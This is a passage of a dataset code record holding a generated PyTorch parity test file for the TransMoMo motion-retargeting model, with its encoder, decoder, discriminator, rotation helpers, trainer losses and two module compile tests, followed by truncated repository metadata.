model.append(acti)\n            else:\n                model.append(nn.ReflectionPad1d(padding))\n                model.append(nn.Conv1d(channels[i], channels[i + 1], kernel_size=kernel_size, stride=conv_stride))\n                model.append(acti)\n                model.append(conv_pool(kernel_size=2, stride=2))\n        self.model = nn.Sequential(*model)\n\n    def forward(self, x):\n        x = x[:, :self.in_channels, :]\n        x = self.model(x)\n        return x\n\n\nclass ConvDecoder(nn.Module):\n\n    @classmethod\n    def build_from_config(cls, config):\n        decoder = cls(config.channels, config.kernel_size)\n        return decoder\n\n    def __init__(self, channels, kernel_size=7):\n        super(ConvDecoder, self).__init__()\n        model = []\n        pad = (kernel_size - 1) // 2\n        acti = nn.LeakyReLU(0.2)\n        for i in range(len(channels) - 1):\n            model.append(nn.Upsample(scale_factor=2, mode='nearest'))\n            model.append(nn.ReflectionPad1d(pad))\n            model.append(nn.Conv1d(channels[i], channels[i + 1], kernel_size=kernel_size, stride=1))\n            if i == 0 or i == 1:\n                model.append(nn.Dropout(p=0.2))\n            if not i == len(channels) - 2:\n                model.append(acti)\n        self.model = nn.Sequential(*model)\n\n    def forward(self, x):\n        return self.model(x)\n\n\nthismodule = sys.modules[__name__]\n\n\nclass Discriminator(nn.Module):\n\n    def __init__(self, config):\n        super(Discriminator, self).__init__()\n        self.gan_type = config.gan_type\n        encoder_cls = getattr(thismodule, config.encoder_cls)\n        self.encoder = encoder_cls.build_from_config(config)\n        self.linear = nn.Linear(config.channels[-1], 1)\n\n    def forward(self, seqs):\n        code_seq = self.encoder(seqs)\n        logits = self.linear(code_seq.permute(0, 2, 1))\n        return logits\n\n    def calc_dis_loss(self, x_gen, x_real):\n        fake_logits = self.forward(x_gen)\n        real_logits = self.forward(x_real)\n        if self.gan_type == 'lsgan':\n            loss = torch.mean((fake_logits - 0) ** 2) + torch.mean((real_logits - 1) ** 2)\n        elif self.gan_type == 'nsgan':\n            all0 = torch.zeros_like(fake_logits, requires_grad=False)\n            all1 = torch.ones_like(real_logits, requires_grad=False)\n            loss = torch.mean(F.binary_cross_entropy(F.sigmoid(fake_logits), all0) + F.binary_cross_entropy(F.sigmoid(real_logits), all1))\n        else:\n            raise NotImplementedError\n        return loss\n\n    def calc_gen_loss(self, x_gen):\n        logits = self.forward(x_gen)\n        if self.gan_type == 'lsgan':\n            loss = torch.mean((logits - 1) ** 2)\n        elif self.gan_type == 'nsgan':\n            all1 = torch.ones_like(logits, requires_grad=False)\n            loss = torch.mean(F.binary_cross_entropy(F.sigmoid(logits), all1))\n        else:\n            raise NotImplementedError\n        return loss\n\n\ndef change_of_basis(motion_3d, basis_vectors=None, project_2d=False):\n    if basis_vectors is None:\n        motion_proj = motion_3d[:, :, ([0, 2]), :]\n    else:\n        if project_2d:\n            basis_vectors = basis_vectors[:, :, :, ([0, 2]), :]\n        _, K, seq_len, _, _ = basis_vectors.size()\n        motion_3d = motion_3d.unsqueeze(1).repeat(1, K, 1, 1, 1)\n        motion_3d = motion_3d.permute([0, 1, 4, 3, 2])\n        motion_proj = basis_vectors @ motion_3d\n        motion_proj = motion_proj.permute([0, 1, 4, 3, 2])\n    return motion_proj\n\n\ndef get_body_basis(motion_3d):\n    \"\"\"\n    Get the unit vectors for vector rectangular coordinates for given 3D motion\n    :param motion_3d: 3D motion from 3D joints positions, shape (B, n_joints, 3, seq_len).\n    :param angles: (K, 3), Rotation angles around each axis.\n    :return: unit vectors for vector rectangular coordinates's , shape (B, 3, 3).\n    \"\"\"\n    B = motion_3d.size(0)\n    horizontal = (motion_3d[:, (2)] - motion_3d[:, (5)] + motion_3d[:, (9)] - motion_3d[:, (12)]) / 2\n    horizontal = horizontal.mean(dim=-1)\n    horizontal = horizontal / horizontal.norm(dim=-1).unsqueeze(-1)\n    vector_z = torch.tensor([0.0, 0.0, 1.0], device=motion_3d.device, dtype=motion_3d.dtype).unsqueeze(0).repeat(B, 1)\n    vector_y = torch.cross(horizontal, vector_z)\n    vector_y = vector_y / vector_y.norm(dim=-1).unsqueeze(-1)\n    vector_x = torch.cross(vector_y, vector_z)\n    vectors = torch.stack([vector_x, vector_y, vector_z], dim=2)\n    vectors = vectors.detach()\n    return vectors\n\n\ndef rotate_basis_euler(basis_vectors, angles):\n    \"\"\"\n    Rotate vector rectangular coordinates from given angles.\n\n    :param basis_vectors: [B, 3, 3]\n    :param angles: [B, K, T, 3] Rotation angles around each axis.\n    :return: [B, K, T, 3, 3]\n    \"\"\"\n    B, K, T, _ = angles.size()\n    cos, sin = torch.cos(angles), torch.sin(angles)\n    cx, cy, cz = cos[:, :, :, (0)], cos[:, :, :, (1)], cos[:, :, :, (2)]\n    sx, sy, sz = sin[:, :, :, (0)], sin[:, :, :, (1)], sin[:, :, :, (2)]\n    x = basis_vectors[:, (0), :]\n    o = torch.zeros_like(x[:, (0)])\n    x_cpm_0 = torch.stack([o, -x[:, (2)], x[:, (1)]], dim=1)\n    x_cpm_1 = torch.stack([x[:, (2)], o, -x[:, (0)]], dim=1)\n    x_cpm_2 = torch.stack([-x[:, (1)], x[:, (0)], o], dim=1)\n    x_cpm = torch.stack([x_cpm_0, x_cpm_1, x_cpm_2], dim=1)\n    x_cpm = x_cpm.unsqueeze(1).unsqueeze(2)\n    x = x.unsqueeze(-1)\n    xx = torch.matmul(x, x.transpose(-1, -2)).unsqueeze(1).unsqueeze(2)\n    eye = torch.eye(n=3, dtype=basis_vectors.dtype, device=basis_vectors.device)\n    eye = eye.unsqueeze(0).unsqueeze(0).unsqueeze(0)\n    mat33_x = cx.unsqueeze(-1).unsqueeze(-1) * eye + sx.unsqueeze(-1).unsqueeze(-1) * x_cpm + (1.0 - cx).unsqueeze(-1).unsqueeze(-1) * xx\n    o = torch.zeros_like(cz)\n    i = torch.ones_like(cz)\n    mat33_z_0 = torch.stack([cz, sz, o], dim=3)\n    mat33_z_1 = torch.stack([-sz, cz, o], dim=3)\n    mat33_z_2 = torch.stack([o, o, i], dim=3)\n    mat33_z = torch.stack([mat33_z_0, mat33_z_1, mat33_z_2], dim=3)\n    basis_vectors = basis_vectors.unsqueeze(1).unsqueeze(2)\n    basis_vectors = basis_vectors @ mat33_x.transpose(-1, -2) @ mat33_z\n    return basis_vectors\n\n\ndef rotate_and_maybe_project(X, angles=None, body_reference=True, project_2d=False):\n    D = 2 if project_2d else 3\n    batch_size, channels, seq_len = X.size()\n    n_joints = channels // 3\n    X = X.view(batch_size, n_joints, 3, seq_len)\n    if angles is not None:\n        K = angles.size(1)\n        basis_vectors = get_body_basis(X) if body_reference else torch.eye(3, device=X.device).unsqueeze(0).repeat(batch_size, 1, 1)\n        basis_vectors = rotate_basis_euler(basis_vectors, angles)\n        X_trans = change_of_basis(X, basis_vectors, project_2d=project_2d)\n        X_trans = X_trans.reshape(batch_size * K, n_joints * D, seq_len)\n    else:\n        X_trans = change_of_basis(X, project_2d=project_2d)\n        X_trans = X_trans.reshape(batch_size, n_joints * D, seq_len)\n    return X_trans\n\n\nclass Autoencoder3f(nn.Module):\n\n    def __init__(self, config):\n        super(Autoencoder3f, self).__init__()\n        assert config.motion_encoder.channels[-1] + config.body_encoder.channels[-1] + config.view_encoder.channels[-1] == config.decoder.channels[0]\n        self.n_joints = config.decoder.channels[-1] // 3\n        self.body_reference = config.body_reference\n        motion_cls = getattr(thismodule, config.motion_encoder.cls)\n        body_cls = getattr(thismodule, config.body_encoder.cls)\n        view_cls = getattr(thismodule, config.view_encoder.cls)\n        self.motion_encoder = motion_cls.build_from_config(config.motion_encoder)\n        self.body_encoder = body_cls.build_from_config(config.body_encoder)\n        self.view_encoder = view_cls.build_from_config(config.view_encoder)\n        self.decoder = ConvDecoder.build_from_config(config.decoder)\n        self.body_pool = getattr(F, config.body_encoder.global_pool) if config.body_encoder.global_pool is not None else None\n        self.view_pool = getattr(F, config.view_encoder.global_pool) if config.view_encoder.global_pool is not None else None\n\n    def forward(self, seqs):\n        return self.reconstruct(seqs)\n\n    def encode_motion(self, seqs):\n        motion_code_seq = self.motion_encoder(seqs)\n        return motion_code_seq\n\n    def encode_body(self, seqs):\n        body_code_seq = self.body_encoder(seqs)\n        kernel_size = body_code_seq.size(-1)\n        body_code = self.body_pool(body_code_seq, kernel_size) if self.body_pool is not None else body_code_seq\n        return body_code, body_code_seq\n\n    def encode_view(self, seqs):\n        view_code_seq = self.view_encoder(seqs)\n        kernel_size = view_code_seq.size(-1)\n        view_code = self.view_pool(view_code_seq, kernel_size) if self.view_pool is not None else view_code_seq\n        return view_code, view_code_seq\n\n    def decode(self, motion_code, body_code, view_code):\n        if body_code.size(-1) == 1:\n            body_code = body_code.repeat(1, 1, motion_code.shape[-1])\n        if view_code.size(-1) == 1:\n            view_code = view_code.repeat(1, 1, motion_code.shape[-1])\n        complete_code = torch.cat([motion_code, body_code, view_code], dim=1)\n        out = self.decoder(complete_code)\n        return out\n\n    def cross3d(self, x_a, x_b, x_c):\n        motion_a = self.encode_motion(x_a)\n        body_b, _ = self.encode_body(x_b)\n        view_c, _ = self.encode_view(x_c)\n        out = self.decode(motion_a, body_b, view_c)\n        return out\n\n    def cross2d(self, x_a, x_b, x_c):\n        motion_a = self.encode_motion(x_a)\n        body_b, _ = self.encode_body(x_b)\n        view_c, _ = self.encode_view(x_c)\n        out = self.decode(motion_a, body_b, view_c)\n        out = rotate_and_maybe_project(out, body_reference=self.body_reference, project_2d=True)\n        return out\n\n    def reconstruct3d(self, x):\n        motion_code = self.encode_motion(x)\n        body_code, _ = self.encode_body(x)\n        view_code, _ = self.encode_view(x)\n        out = self.decode(motion_code, body_code, view_code)\n        return out\n\n    def reconstruct2d(self, x):\n        motion_code = self.encode_motion(x)\n        body_code, _ = self.encode_body(x)\n        view_code, _ = self.encode_view(x)\n        out = self.decode(motion_code, body_code, view_code)\n        out = rotate_and_maybe_project(out, body_reference=self.body_reference, project_2d=True)\n        return out\n\n    def interpolate(self, x_a, x_b, N):\n        step_size = 1.0 / (N - 1)\n        batch_size, _, seq_len = x_a.size()\n        motion_a = self.encode_motion(x_a)\n        body_a, body_a_seq = self.encode_body(x_a)\n        view_a, view_a_seq = self.encode_view(x_a)\n        motion_b = self.encode_motion(x_b)\n        body_b, body_b_seq = self.encode_body(x_b)\n        view_b, view_b_seq = self.encode_view(x_b)\n        batch_out = torch.zeros([batch_size, N, N, 2 * self.n_joints, seq_len])\n        for i in range(N):\n            motion_weight = i * step_size\n            for j in range(N):\n                body_weight = j * step_size\n                motion = (1.0 - motion_weight) * motion_a + motion_weight * motion_b\n                body = (1.0 - body_weight) * body_a + body_weight * body_b\n                view = (1.0 - body_weight) * view_a + body_weight * view_b\n                out = self.decode(motion, body, view)\n                out = rotate_and_maybe_project(out, body_reference=self.body_reference, project_2d=True)\n                batch_out[:, (i), (j), :, :] = out\n        return batch_out\n\n\ndef get_model_list(dirname, key):\n    if os.path.exists(dirname) is False:\n        return None\n    gen_models = [os.path.join(dirname, f) for f in os.listdir(dirname) if os.path.isfile(os.path.join(dirname, f)) and key in f and '.pt' in f]\n    if gen_models is None:\n        return None\n    gen_models.sort()\n    last_model_name = gen_models[-1]\n    return last_model_name\n\n\ndef get_scheduler(optimizer, hyperparameters, iterations=-1):\n    if 'lr_policy' not in hyperparameters or hyperparameters['lr_policy'] == 'constant':\n        scheduler = None\n    elif hyperparameters['lr_policy'] == 'step':\n        scheduler = lr_scheduler.StepLR(optimizer, step_size=hyperparameters['step_size'], gamma=hyperparameters['gamma'], last_epoch=iterations)\n    else:\n        return NotImplementedError('learning rate policy [%s] is not implemented', hyperparameters['lr_policy'])\n    return scheduler\n\n\ndef weights_init(init_type='gaussian'):\n\n    def init_fun(m):\n        classname = m.__class__.__name__\n        if (classname.find('Conv') == 0 or classname.find('Linear') == 0) and hasattr(m, 'weight'):\n            if init_type == 'gaussian':\n                init.normal_(m.weight.data, 0.0, 0.02)\n            elif init_type == 'xavier':\n                init.xavier_normal_(m.weight.data, gain=math.sqrt(2))\n            elif init_type == 'kaiming':\n                init.kaiming_normal_(m.weight.data, a=0, mode='fan_in')\n            elif init_type == 'orthogonal':\n                init.orthogonal_(m.weight.data, gain=math.sqrt(2))\n            elif init_type == 'default':\n                pass\n            else:\n                assert 0, 'Unsupported initialization: {}'.format(init_type)\n            if hasattr(m, 'bias') and m.bias is not None:\n                init.constant_(m.bias.data, 0.0)\n    return init_fun\n\n\nclass BaseTrainer(nn.Module):\n\n    def __init__(self, config):\n        super(BaseTrainer, self).__init__()\n        lr = config.lr\n        autoencoder_cls = getattr(lib.network, config.autoencoder.cls)\n        self.autoencoder = autoencoder_cls(config.autoencoder)\n        self.discriminator = Discriminator(config.discriminator)\n        beta1 = config.beta1\n        beta2 = config.beta2\n        dis_params = list(self.discriminator.parameters())\n        ae_params = list(self.autoencoder.parameters())\n        self.dis_opt = torch.optim.Adam([p for p in dis_params if p.requires_grad], lr=lr, betas=(beta1, beta2), weight_decay=config.weight_decay)\n        self.ae_opt = torch.optim.Adam([p for p in ae_params if p.requires_grad], lr=lr, betas=(beta1, beta2), weight_decay=config.weight_decay)\n        self.dis_scheduler = get_scheduler(self.dis_opt, config)\n        self.ae_scheduler = get_scheduler(self.ae_opt, config)\n        self.apply(weights_init(config.init))\n        self.discriminator.apply(weights_init('gaussian'))\n\n    def forward(self, data):\n        x_a, x_b = data['x_a'], data['x_b']\n        batch_size = x_a.size(0)\n        self.eval()\n        body_a, body_b = self.sample_body_code(batch_size)\n        motion_a = self.autoencoder.encode_motion(x_a)\n        body_a_enc, _ = self.autoencoder.encode_body(x_a)\n        motion_b = self.autoencoder.encode_motion(x_b)\n        body_b_enc, _ = self.autoencoder.encode_body(x_b)\n        x_ab = self.autoencoder.decode(motion_a, body_b)\n        x_ba = self.autoencoder.decode(motion_b, body_a)\n        self.train()\n        return x_ab, x_ba\n\n    def dis_update(self, data, config):\n        raise NotImplemented\n\n    def ae_update(self, data, config):\n        raise NotImplemented\n\n    def recon_criterion(self, input, target):\n        raise NotImplemented\n\n    def update_learning_rate(self):\n        if self.dis_scheduler is not None:\n            self.dis_scheduler.step()\n        if self.ae_scheduler is not None:\n            self.ae_scheduler.step()\n\n    def resume(self, checkpoint_dir, config):\n        last_model_name = get_model_list(checkpoint_dir, 'autoencoder')\n        state_dict = torch.load(last_model_name)\n        self.autoencoder.load_state_dict(state_dict)\n        iterations = int(last_model_name[-11:-3])\n        last_model_name = get_model_list(checkpoint_dir, 'discriminator')\n        state_dict = torch.load(last_model_name)\n        self.discriminator.load_state_dict(state_dict)\n        state_dict = torch.load(os.path.join(checkpoint_dir, 'optimizer.pt'))\n        self.dis_opt.load_state_dict(state_dict['discriminator'])\n        self.ae_opt.load_state_dict(state_dict['autoencoder'])\n        self.dis_scheduler = get_scheduler(self.dis_opt, config, iterations)\n        self.ae_scheduler = get_scheduler(self.ae_opt, config, iterations)\n        None\n        return iterations\n\n    def save(self, snapshot_dir, iterations):\n        ae_name = os.path.join(snapshot_dir, 'autoencoder_%08d.pt' % (iterations + 1))\n        dis_name = os.path.join(snapshot_dir, 'discriminator_%08d.pt' % (iterations + 1))\n        opt_name = os.path.join(snapshot_dir, 'optimizer.pt')\n        torch.save(self.autoencoder.state_dict(), ae_name)\n        torch.save(self.discriminator.state_dict(), dis_name)\n        torch.save({'autoencoder': self.ae_opt.state_dict(), 'discriminator': self.dis_opt.state_dict()}, opt_name)\n\n    def validate(self, data, config):\n        re_dict = self.evaluate(self.autoencoder, data, config)\n        for key, val in re_dict.items():\n            setattr(self, key, val)\n\n    @staticmethod\n    def recon_criterion(input, target):\n        return torch.mean(torch.abs(input - target))\n\n    @classmethod\n    def evaluate(cls, autoencoder, data, config):\n        autoencoder.eval()\n        x_a, x_b = data['x_a'], data['x_b']\n        x_aba, x_bab = data['x_aba'], data['x_bab']\n        batch_size, _, seq_len = x_a.size()\n        re_dict = {}\n        with torch.no_grad():\n            x_a_recon = autoencoder.reconstruct2d(x_a)\n            x_b_recon = autoencoder.reconstruct2d(x_b)\n            x_aba_recon = autoencoder.cross2d(x_a, x_b, x_a)\n            x_bab_recon = autoencoder.cross2d(x_b, x_a, x_b)\n            re_dict['loss_val_recon_x'] = cls.recon_criterion(x_a_recon, x_a) + cls.recon_criterion(x_b_recon, x_b)\n            re_dict['loss_val_cross_body'] = cls.recon_criterion(x_aba_recon, x_aba) + cls.recon_criterion(x_bab_recon, x_bab)\n            re_dict['loss_val_total'] = 0.5 * re_dict['loss_val_recon_x'] + 0.5 * re_dict['loss_val_cross_body']\n        autoencoder.train()\n        return re_dict\n\n\ndef temporal_pairwise_cosine_similarity(seqs_i, seqs_j):\n    seq_len = seqs_i.size(2)\n    seqs_i_exp = seqs_i.unsqueeze(3).repeat(1, 1, 1, seq_len)\n    seqs_j_exp = seqs_j.unsqueeze(2).repeat(1, 1, seq_len, 1)\n    return F.cosine_similarity(seqs_i_exp, seqs_j_exp, dim=1)\n\n\ndef triplet_margin_loss(seqs_a, seqs_b, neg_range=(0.0, 0.5), margin=0.2):\n    neg_start, neg_end = neg_range\n    batch_size, _, seq_len = seqs_a.size()\n    n_neg_all = seq_len ** 2\n    n_neg = int(round(neg_end * n_neg_all))\n    n_neg_discard = int(round(neg_start * n_neg_all))\n    batch_size, _, seq_len = seqs_a.size()\n    sim_aa = temporal_pairwise_cosine_similarity(seqs_a, seqs_a)\n    sim_bb = temporal_pairwise_cosine_similarity(seqs_b, seqs_a)\n    sim_ab = temporal_pairwise_cosine_similarity(seqs_a, seqs_b)\n    sim_ba = sim_ab.transpose(1, 2)\n    diff_ab = (sim_ab - sim_aa).reshape(batch_size, -1)\n    diff_ba = (sim_ba - sim_bb).reshape(batch_size, -1)\n    diff = torch.cat([diff_ab, diff_ba], dim=0)\n    diff, _ = diff.topk(n_neg, dim=-1, sorted=True)\n    diff = diff[:, n_neg_discard:]\n    loss = diff + margin\n    loss = loss.clamp(min=0.0)\n    loss = loss.mean()\n    return loss\n\n\nclass TransmomoTrainer(BaseTrainer):\n\n    def __init__(self, config):\n        super(TransmomoTrainer, self).__init__(config)\n        self.angle_unit = np.pi / (config.K + 1)\n        view_angles = np.array([(i * self.angle_unit) for i in range(1, config.K + 1)])\n        x_angles = view_angles if config.rotation_axes[0] else np.array([0])\n        z_angles = view_angles if config.rotation_axes[1] else np.array([0])\n        y_angles = view_angles if config.rotation_axes[2] else np.array([0])\n        x_angles, z_angles, y_angles = np.meshgrid(x_angles, z_angles, y_angles)\n        angles = np.stack([x_angles.flatten(), z_angles.flatten(), y_angles.flatten()], axis=1)\n        self.angles = torch.tensor(angles).float()\n        self.rotation_axes = torch.tensor(config.rotation_axes).float()\n        self.rotation_axes_mask = [(_ > 0) for _ in config.rotation_axes]\n\n    def dis_update(self, data, config):\n        x_a = data['x'].detach()\n        x_s = data['x_s'].detach()\n        self.dis_opt.zero_grad()\n        motion_a = self.autoencoder.encode_motion(x_a)\n        body_a, body_a_seq = self.autoencoder.encode_body(x_a)\n        view_a, view_a_seq = self.autoencoder.encode_view(x_a)\n        motion_s = self.autoencoder.encode_motion(x_s)\n        body_s, body_s_seq = self.autoencoder.encode_body(x_s)\n        view_s, view_s_seq = self.autoencoder.encode_view(x_s)\n        inds = random.sample(list(range(self.angles.size(0))), config.K)\n        angles = self.angles[inds].clone().detach()\n        angles += self.angle_unit * self.rotation_axes * torch.randn([3], device=x_a.device)\n        angles = angles.unsqueeze(0).unsqueeze(2)\n        X_a_recon = self.autoencoder.decode(motion_a, body_a, view_a)\n        x_a_trans = rotate_and_maybe_project(X_a_recon, angles=angles, body_reference=config.autoencoder.body_reference, project_2d=True)\n        x_a_exp = x_a.repeat_interleave(config.K, dim=0)\n        self.loss_dis_trans = self.discriminator.calc_dis_loss(x_a_trans.detach(), x_a_exp)\n        if config.trans_gan_ls_w > 0:\n            X_s_recon = self.autoencoder.decode(motion_s, body_s, view_s)\n            x_s_trans = rotate_and_maybe_project(X_s_recon, angles=angles, body_reference=config.autoencoder.body_reference, project_2d=True)\n            x_s_exp = x_s.repeat_interleave(config.K, dim=0)\n            self.loss_dis_trans_ls = self.discriminator.calc_dis_loss(x_s_trans.detach(), x_s_exp)\n        else:\n            self.loss_dis_trans_ls = 0\n        self.loss_dis_total = config.trans_gan_w * self.loss_dis_trans + config.trans_gan_ls_w * self.loss_dis_trans_ls\n        self.loss_dis_total.backward()\n        self.dis_opt.step()\n\n    def ae_update(self, data, config):\n        x_a = data['x'].detach()\n        x_s = data['x_s'].detach()\n        self.ae_opt.zero_grad()\n        motion_a = self.autoencoder.encode_motion(x_a)\n        body_a, body_a_seq = self.autoencoder.encode_body(x_a)\n        view_a, view_a_seq = self.autoencoder.encode_view(x_a)\n        motion_s = self.autoencoder.encode_motion(x_s)\n        body_s, body_s_seq = self.autoencoder.encode_body(x_s)\n        view_s, view_s_seq = self.autoencoder.encode_view(x_s)\n        self.loss_inv_v_ls = self.recon_criterion(view_a, view_s) if config.inv_v_ls_w > 0 else 0\n        self.loss_inv_m_ls = self.recon_criterion(motion_a, motion_s) if config.inv_m_ls_w > 0 else 0\n        if config.triplet_b_w > 0:\n            self.loss_triplet_b = triplet_margin_loss(body_a_seq, body_s_seq, neg_range=config.triplet_neg_range, margin=config.triplet_margin)\n        else:\n            self.loss_triplet_b = 0\n        X_a_recon = self.autoencoder.decode(motion_a, body_a, view_a)\n        x_a_recon = rotate_and_maybe_project(X_a_recon, angles=None, body_reference=config.autoencoder.body_reference, project_2d=True)\n        X_s_recon = self.autoencoder.decode(motion_s, body_s, view_s)\n        x_s_recon = rotate_and_maybe_project(X_s_recon, angles=None, body_reference=config.autoencoder.body_reference, project_2d=True)\n        self.loss_recon_x = 0.5 * self.recon_criterion(x_a_recon, x_a) + 0.5 * self.recon_criterion(x_s_recon, x_s)\n        X_as_recon = self.autoencoder.decode(motion_a, body_s, view_s)\n        x_as_recon = rotate_and_maybe_project(X_as_recon, angles=None, body_reference=config.autoencoder.body_reference, project_2d=True)\n        X_sa_recon = self.autoencoder.decode(motion_s, body_a, view_a)\n        x_sa_recon = rotate_and_maybe_project(X_sa_recon, angles=None, body_reference=config.autoencoder.body_reference, project_2d=True)\n        self.loss_cross_x = 0.5 * self.recon_criterion(x_as_recon, x_s) + 0.5 * self.recon_criterion(x_sa_recon, x_a)\n        inds = random.sample(list(range(self.angles.size(0))), config.K)\n        angles = self.angles[inds].clone().detach()\n        angles += self.angle_unit * self.rotation_axes * torch.randn([3], device=x_a.device)\n        angles = angles.unsqueeze(0).unsqueeze(2)\n        x_a_trans = rotate_and_maybe_project(X_a_recon, angles=angles, body_reference=config.autoencoder.body_reference, project_2d=True)\n        x_s_trans = rotate_and_maybe_project(X_s_recon, angles=angles, body_reference=config.autoencoder.body_reference, project_2d=True)\n        self.loss_gan_trans = self.discriminator.calc_gen_loss(x_a_trans)\n        self.loss_gan_trans_ls = self.discriminator.calc_gen_loss(x_s_trans) if config.trans_gan_ls_w > 0 else 0\n        motion_a_trans = self.autoencoder.encode_motion(x_a_trans)\n        body_a_trans, _ = self.autoencoder.encode_body(x_a_trans)\n        view_a_trans, view_a_trans_seq = self.autoencoder.encode_view(x_a_trans)\n        motion_s_trans = self.autoencoder.encode_motion(x_s_trans)\n        body_s_trans, _ = self.autoencoder.encode_body(x_s_trans)\n        self.loss_inv_m_trans = 0.5 * self.recon_criterion(motion_a_trans, motion_a.repeat_interleave(config.K, dim=0)) + 0.5 * self.recon_criterion(motion_s_trans, motion_s.repeat_interleave(config.K, dim=0))\n        self.loss_inv_b_trans = 0.5 * self.recon_criterion(body_a_trans, body_a.repeat_interleave(config.K, dim=0)) + 0.5 * self.recon_criterion(body_s_trans, body_s.repeat_interleave(config.K, dim=0))\n        if config.triplet_v_w > 0:\n            view_a_seq_exp = view_a_seq.repeat_interleave(config.K, dim=0)\n            self.loss_triplet_v = triplet_margin_loss(view_a_seq_exp, view_a_trans_seq, neg_range=config.triplet_neg_range, margin=config.triplet_margin)\n        else:\n            self.loss_triplet_v = 0\n        self.loss_total = torch.tensor(0.0).float()\n        self.loss_total += config.recon_x_w * self.loss_recon_x\n        self.loss_total += config.cross_x_w * self.loss_cross_x\n        self.loss_total += config.inv_v_ls_w * self.loss_inv_v_ls\n        self.loss_total += config.inv_m_ls_w * self.loss_inv_m_ls\n        self.loss_total += config.inv_b_trans_w * self.loss_inv_b_trans\n        self.loss_total += config.inv_m_trans_w * self.loss_inv_m_trans\n        self.loss_total += config.trans_gan_w * self.loss_gan_trans\n        self.loss_total += config.trans_gan_ls_w * self.loss_gan_trans_ls\n        self.loss_total += config.triplet_b_w * self.loss_triplet_b\n        self.loss_total += config.triplet_v_w * self.loss_triplet_v\n        self.loss_total.backward()\n        self.ae_opt.step()\n\n\nimport torch\nfrom torch.nn import MSELoss, ReLU\nfrom _paritybench_helpers import _mock_config, _mock_layer, _paritybench_base, _fails_compile\n\n\nTESTCASES = [\n    # (nn.Module, init_args, forward_args, jit_compiles)\n    (ConvDecoder,\n     lambda: ([], {'channels': [4, 4]}),\n     lambda: ([torch.rand([4, 4, 4])], {}),\n     True),\n    (ConvEncoder,\n     lambda: ([], {'channels': [4, 4]}),\n     lambda: ([torch.rand([4, 4, 4])], {}),\n     True),\n]\n\nclass Test_yzhq97_transmomo_pytorch(_paritybench_base):\n    def test_000(self):\n        self._check(*TESTCASES[0])\n\n    def test_001(self):\n        self._check(*TESTCASES[1])\n\n", "repo_name": "eladhoffer/pytorch-jit-paritybench", "sub_path": "generated/test_yzhq97_transmomo_pytorch.py", "file_name": "test_yzhq97_transmomo_pytorch.py", "file_ext": "py", "file_size_in_byte": 29525, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.modules", "line_number": 2, "usage_type": "attribute"}, {"api_name": "_paritybench_helpers.patch_functional", "line_number": 31, "usage_type": "call"}, {"api_name": "unittest.mock.mock_open", "line_number": 32, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 33, "usage_type": "call"}, {"api_name": "_paritybench_helpers._mock_config", "line_number": 35, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 38, "usage_type": "attribute"}, {"api_name": "functools.wraps", "line_number": 41, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 98, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 98, "usage_type": "name"}, {"api_name": "torch.nn", "line_number": 102, "usage_type": "argument"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 110, "usage_type": "name"}, {"api_name": "torch.nn.ReflectionPad1d", "line_number": 114, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 114, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 115, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 115, "usage_type": "name"}, {"api_name": "torch.nn.ReflectionPad1d", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 118, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 119, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 122, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 122, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 130, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 130, "usage_type": "name"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 141, "usage_type": "name"}, {"api_name": "torch.nn.Upsample", "line_number": 143, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 143, "usage_type": "name"}, {"api_name": "torch.nn.ReflectionPad1d", "line_number": 144, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 144, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 145, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 145, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 147, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 147, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 150, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 150, "usage_type": "name"}, {"api_name": "sys.modules", "line_number": 156, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 159, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 159, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 166, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 166, "usage_type": "name"}, {"api_name": "torch.mean", "line_number": 177, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 179, "usage_type": "call"}, {"api_name": "torch.ones_like", "line_number": 180, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 181, "usage_type": "call"}, {"api_name": "torch.nn.functional.binary_cross_entropy", "line_number": 181, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 181, "usage_type": "name"}, {"api_name": "torch.nn.functional.sigmoid", "line_number": 181, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 189, "usage_type": "call"}, {"api_name": "torch.ones_like", "line_number": 191, "usage_type": "call"}, {"api_name": "torch.mean", "line_number": 192, "usage_type": "call"}, {"api_name": "torch.nn.functional.binary_cross_entropy", "line_number": 192, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 192, "usage_type": "name"}, {"api_name": "torch.nn.functional.sigmoid", "line_number": 192, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 223, "usage_type": "call"}, {"api_name": "torch.cross", "line_number": 224, "usage_type": "call"}, {"api_name": "torch.cross", "line_number": 226, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 227, "usage_type": "call"}, {"api_name": 